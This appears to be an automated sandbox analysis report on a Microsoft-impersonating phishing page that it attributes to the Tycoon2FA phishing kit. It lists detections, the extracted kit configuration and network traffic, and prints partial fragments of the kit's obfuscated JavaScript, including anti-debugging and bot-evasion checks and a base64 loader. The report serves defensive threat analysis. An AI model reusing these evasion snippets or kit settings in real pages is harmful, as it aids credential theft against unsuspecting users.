Create Interactive Tour

Windows Analysis Report
https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/

Overview

General Information

Sample URL:	https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/
Analysis ID:	1648420
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1932 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,3984154919745250601,11480777820434379077,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2260 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,3984154919745250601,11480777820434379077,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5064 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "m3JXm",
  "emailcheck": "0",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/rnaJWF7KKFXVsgOeLw9vbWH8U1gE9cacifCI39n116ExO69",
  "gdf": "/ghJ3HJ9x9GJj3r2TMIyuWoQL5wln6owxaCkioGodGYBYcd120"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_148	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.7.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.17.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.6..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.7.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 18 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/

Avira URL Cloud: detection malicious, Label: malware

Antivirus detection for URL or domain

Source: https://ergc.onirique5.com/GDSherpa-bold.woff	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/ij38y3sqklHRUOWcyCZrItgSc9nhmpGCRid4sMx4J0opNE9kWxAfCIKX6dtPLVvBp3S5xyz227	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/favicon.ico	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/12AxcSxy8Zd0CW8911	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/GDSherpa-bold.woff2	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/ijrTSB9tguTRT3FiEnWGvF3FUqCxyMuYN7jdimfK608REX812203	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/GDSherpa-vf.woff2	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/st6fndDfLt88Ww239PbZTGRtULptBqBNNb9Kmn4DtRRX2nJzhggEh1NE0ikomRkKCidvnby9jYd6N3ef260	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/ef9kueTswpS1TaKvcMP1ER62reuDuv4jchv0n0ulWVNoazKnFrggEj90141	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/klLwLp7FYs6HUifrwwvF1jvQQfojcwokL6XsklrCfsZnMhex5X3OxzOLwx212	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/uvmvU2eviiQua1XE8tVZ9lojnyopwgkEO2Advvbba5X12130	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/qr1mylxsPMdb1axIIqjl2DRlmnPZZLL9rRa93v267140	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/GDSherpa-regular.woff2	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/op347VQocLux8bJ296y3sGsK0qKDjDkaqzGUesijjEQdpuQn0RocxGscd200	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/wxbbQWVs6P5fRuL5ewLBOWRfK6iCecyM1ZG2n40bopmy2zeL0mh98wpkTrU2f9o90171	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/GDSherpa-vf2.woff2	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/56yZwEPy2q6yngKvKqYcMxCefijCvTOyL7R0VjZkQ4J67110	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/xywrJHwNlpqccd22	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/zcGCRSr1y5xh9VHhh5qllUgtb5S64S6zwqyYXTYydfrtRiGSz4QFgy	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/opfzJagy9bhWoPZE6LdVeKwrAVMdrccdJLFkRMnbyAQstkOy6AKrYsS5G19v6hpABXO7kef240	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/GDSherpa-regular.woff	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/rnaJWF7KKFXVsgOeLw9vbWH8U1gE9cacifCI39n116ExO69	Avira URL Cloud: Label: malware
Source: https://ergc.onirique5.com/kmNcvetzL0K8NZyarX63n7r9a	Avira URL Cloud: Label: malware

Found malware configuration

Source: 1.17.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "m3JXm", "emailcheck": "0", "webname": "rtrim(/web8/, '/')", "urlo": "/rnaJWF7KKFXVsgOeLw9vbWH8U1gE9cacifCI39n116ExO69", "gdf": "/ghJ3HJ9x9GJj3r2TMIyuWoQL5wln6owxaCkioGodGYBYcd120"}

Phishing

AI detected phishing page

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The URL 'ergc.onirique5.com' does not match the legitimate domain for Microsoft., The domain 'onirique5.com' is not associated with Microsoft and appears unrelated., The presence of a subdomain 'ergc' and an unrelated primary domain suggests phishing., The input fields 'Email, phone, or Skype' are typical for phishing attempts targeting Microsoft accounts. DOM: 1.6.pages.csv
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ergc.onirique5.com' does not match the legitimate domain for Microsoft., The domain 'onirique5.com' is not associated with Microsoft and appears unrelated., The URL contains a subdomain 'ergc' which is not recognized as a legitimate Microsoft subdomain., The presence of an unrelated domain and subdomain suggests a high likelihood of phishing. DOM: 1.7.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 1.19..script.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_148, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.17.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.7.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.13..script.csv, type: HTML
Source: Yara match	File source: 0.10.d.script.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.13..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoi... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It checks for the presence of web automation tools, blocks keyboard shortcuts, and redirects the user to an external website. These behaviors are highly suspicious and indicate a potentially malicious intent.
Source: 0.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoi... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts various keyboard and clipboard events to prevent common debugging and security actions. The script also includes an interval that triggers a redirect to an external domain after a delay, which is highly suspicious. Overall, this script demonstrates malicious intent and poses a significant security risk.
Source: 0.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code and the presence of a debugger statement further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.
Source: 0.6..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM... This script demonstrates high-risk behavior with the use of the `eval` function to execute dynamic code. The obfuscated string is decoded and then evaluated, which can lead to the execution of malicious code. Additionally, the script uses a `Proxy` object to intercept property access, further increasing the risk of unauthorized code execution. Overall, this script exhibits a high level of risk and should be thoroughly reviewed before execution.
Source: 1.16..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoi... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, data exfiltration to potentially untrusted domains, and the use of obfuscated code/URLs. The script also exhibits moderate-risk behaviors such as external data transmission and the use of multiple fallback domains. While the script may have some legitimate functionality, the overall risk profile is high due to the presence of multiple malicious indicators.
Source: 1.19..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ergc.onirique5.com/56yZwEPy2q6yngKvKqYcMxC... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW

HTTP Parser: Number of links: 0

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function vfmFElYOXI(event) { co...

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW

HTTP Parser: Title: Enter Account Protection does not match URL

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: Invalid link: Terms of use
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: Invalid link: Terms of use
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: Invalid link: Privacy & cookies

Source: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	HTTP Parser: function atkkwrarla(){xzxdonoxxq = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+ug9ydgzvbglvicygqwdlbmn5ic0gtw9kzxjuierlc2lnbjwvdgl0bgu+ciagpgxpbmsgahjlzj0iahr0chm6ly9mb250cy5nb29nbgvhcglzlmnvbs9jc3myp2zhbwlset1nb250c2vycmf0ondnahrandawozcwmczmyw1pbhk9um9ib3rvondnahramzawozqwmds1mdamzglzcgxhet1zd2fwiibyzww9inn0ewxlc2hlzxqipgogidxzdhlszt4kicagic8qiedlbmvyywwgu3r5bgvzicovciagicbib2r5ihskicagicagzm9udc1myw1pbhk6icdsb2jvdg8nlcbzyw5zlxnlcmlmowogicagicbtyxjnaw46ida7ciagicagihbhzgrpbmc6ida7ciagicagignvbg9yoiajmzmzowogicagicbsaw5llwhlawdoddogms42owogicagicbiywnrz3jvdw5klwnvbg9yoiajzjrmngy5owogicagfqokicagiggxlcbomiwgadmgewogicagicbmb250lwzhbwlsetogj01vbnrzzxjyyxqnlcbzyw5zlxnlcmlmowogicagicbjb2xvcjogizjjm2u1mdskicagih0kciagicbhihskicagicagy29sb3i6icmzndk4zgi7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagih0kciagicbhomhvdmvyihskicagicagdgv4dc1kzwnvcmf0aw9uoib1bmrlc...
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "m3jxm";var emailcheck = "0";var webname = "rtrim(/web8/, '/')";var urlo = "/rnajwf7kkfxvsgoelw9vbwh8u1ge9cacifci39n116exo69";var gdf = "/ghj3hj9x9gjj3r2tmiyuwoql5wln6owxackiogodgybycd120";var odf = "/ijbckfv1jljnwwauveec3cznqy48xn88feab648";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ browse...

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW

HTTP Parser: <input type="password" .../> found

Source: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	HTTP Parser: No favicon
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: No favicon
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: No favicon

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: No <meta name="author".. found
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: No <meta name="author".. found

Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: No <meta name="copyright".. found
Source: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.109:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.109:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.180:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.195.178:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.109:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.5:49787 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10

Source: global traffic	HTTP traffic detected: GET /xRmONkR9H3tSwgZ6bakdPQM/ HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiJo8sBCIWgzQEI9s/OAQiA1s4BCNLgzgEIx+HOAQiv5M4BCOLkzgEI5eTOAQiL5c4BSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
